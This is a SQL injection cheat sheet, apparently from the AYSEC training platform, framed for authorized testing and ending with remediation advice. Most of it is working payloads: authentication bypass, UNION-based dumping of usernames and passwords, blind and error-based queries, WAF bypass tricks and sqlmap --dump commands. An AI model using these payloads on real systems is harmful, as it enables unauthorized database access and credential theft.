SQL Injection

Detection + exploitation payloads for MySQL, PostgreSQL, MSSQL, Oracle & SQLite

SQL Injection Cheat Sheet

Quick-reference payloads for detecting and exploiting SQL injection across MySQL, PostgreSQL, MSSQL, Oracle, and SQLite. For authorized testing only — practice these on the AYSEC web challenges, never against systems you don't own.

1. Detect it

Input	Meaning
'	Error / 500 → likely injectable
''	Error goes away → confirms
' OR '1'='1	Always-true condition
1-- -   1#	Comment out the rest of the query
1 AND 1=1 vs 1 AND 1=2	Boolean differential
1' AND SLEEP(5)-- -	Time-based (blind)

Comment styles: -- - (keep the trailing space), # (MySQL), /* */.

2. Authentication bypass

' OR '1'='1
' OR 1=1-- -
admin'-- -
admin'#
' OR '1'='1' LIMIT 1-- -
") OR ("1"="1

3. Find the column count

' ORDER BY 1-- -        -- increase until it errors
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -

4. UNION-based extraction

' UNION SELECT 1,2,3-- -                      -- find which columns print
' UNION SELECT NULL,@@version,NULL-- -        -- MySQL / MSSQL
' UNION SELECT NULL,version(),NULL-- -        -- PostgreSQL

Enumerate the database (MySQL)

' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT group_concat(username,0x3a,password),NULL FROM users-- -

5. Error-based

MySQL:

' AND extractvalue(1,concat(0x7e,version()))-- -
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -

MSSQL:

' AND 1=CONVERT(int,(SELECT @@version))-- -

6. Blind — boolean

' AND SUBSTRING((SELECT database()),1,1)='a'-- -
' AND (SELECT COUNT(*) FROM users)>0-- -

7. Blind — time-based

DBMS	Payload
MySQL	' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL	'; SELECT pg_sleep(5)-- -
MSSQL	'; WAITFOR DELAY '0:0:5'-- -
Oracle	' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

8. Per-DBMS quick reference

	MySQL	PostgreSQL	MSSQL	Oracle
Version	@@version	version()	@@version	banner FROM v$version
Current DB	database()	current_database()	db_name()	—
Current user	user()	current_user	user_name()	user FROM dual
Concatenate	concat()	||	+	||

9. WAF / filter bypass

• Case: UnIoN SeLeCt
• Inline comments: UN/**/ION SE/**/LECT
• Encoding: URL-encode, double-encode, hex (0x61 = a)
• Whitespace: %09 %0a %0b %0c %0d, /**/, +
• No-quote strings: CHAR(97), 0x61

10. Automate (authorized engagements only)

sqlmap -u "https://target/item?id=1" --batch
sqlmap -u "..." --dbs
sqlmap -u "..." -D appdb -T users --dump
sqlmap -r request.txt --level=5 --risk=3   # from a saved Burp request

11. Fix it

• Parameterized queries / prepared statements — the only real fix.
• Use an ORM correctly; never string-concatenate user input into SQL.
• Least-privilege DB accounts; disable xp_cmdshell / dangerous file functions.
• Input validation + WAF are defense-in-depth, not the primary control.

Want to actually try these hands-on? Spin up the web challenges on AYSEC and practice SQLi safely in a sandbox.